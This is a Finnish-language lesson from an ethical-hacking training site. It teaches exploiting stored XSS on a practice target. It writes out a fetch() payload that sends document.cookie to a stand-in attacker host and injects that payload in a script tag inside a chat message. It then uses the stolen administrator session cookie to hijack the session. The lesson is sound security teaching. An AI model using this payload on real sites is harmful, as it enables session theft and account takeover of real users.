Tässä moduulissa hyväksikäytämme harjoituskohteessa olevaa XSS-haavoittuvuutta, joten voit käynnistää alla olevan tehtävän ja toistaa vaiheet omassa tahdissa.
Tällä kertaa järjestelmänvalvoja huomaa, jos käyttäjät alkavat lähettämään tahattomia viestejä, kokeile vaikka! Tässä tehtävässä turvaudumme siis vaihtoehtoiseen vuodatuskanavaan, eli lähetämme evästeen salaa HTTP-kuuntelijaan, jonka olemme käynnistäneet hyökkääjän palvelimella. Näin evästeet eivät näy sivustolla vaan siirtyvät huomaamatta hyökkääjälle.
Kuuntelija
Tarvitsemme ensin kuuntelijan, jonne evästeet voidaan lähettää. Onneksi, hyökkääjän koneella on jo käynnissä HTTP-palvelin portissa 80. URL-osoite on lueteltu hyökkääjän resurssien alla (alkaa https://web-).
Avaa hyökkääjän pääte ja käytä tail-komentoa seurataksesi kuuntelijaan tulleita HTTP-pyyntöjä.
tail -f /var/log/apache2/access.log
Hyökkäyskoodi
Seuraavaksi kirjoitamme haittakoodin, joka suoritettuna lähettää evästeet kuuntelijaamme. Aloitetaan avaamalla taas selaimen kehittäjätyökalut ja kirjoitellaan sekä testataan hyökkäyskoodi JavaScript-konsolissa. Käytetään tässäkin tapauksessa fetch-funktiota evästeen lähettämiseen.
fetch("https://web-attacker-.../" + document.cookie);
Ideana on tehdä HTTP-pyyntö hyökkääjän kuuntelijaan, ja sisällyttää pyynnön URL-osoitteeseen istuntoeväste, joka halutaan varastaa. Älä välitä virheistä, joita saatat nähdä suorittaessasi haittakoodin.
Kun haittakoodimme on toimintavalmis, pitäisi kuuntelijaan saapua HTTP-pyyntö, joka sisältää käyttäjämme istuntoevästeen.
Hyökkäys
Kun olemme todenneet haittakoodin toimivuuden, asetamme tämän script-elementin sisään ja ujutamme haavoittuvaiselle sivulle uudessa viestissä.
Moi! Mitä kuuluu? <script>fetch("https://web-attacker-.../" + document.cookie);</script>
Lopuksi odotamme, että järjestelmänvalvoja lukee viestimme, jonka johdosta haittakoodimme suoritetaan ja järjestelmänvalvojan evästeet siirtyvät kuuntelijaamme.
Järjestelmänvalvojan istuntotunnisteen käyttäminen
Muistutuksena vielä, näin asetat järjestelmänvalvojan evästeen selaimeesi:
document.cookie = "SessionId=.eJ...";
Sitten vain päivitämme sivun, ja voilà!
Valmis ryhtymään eettiseksi hakkeriksi?
Aloita jo tänään.
Hakatemian jäsenenä saat rajoittamattoman pääsyn Hakatemian moduuleihin, harjoituksiin ja työkaluihin, sekä pääset discord-kanavalle jossa voit pyytää apua sekä ohjaajilta että muilta Hakatemian jäseniltä.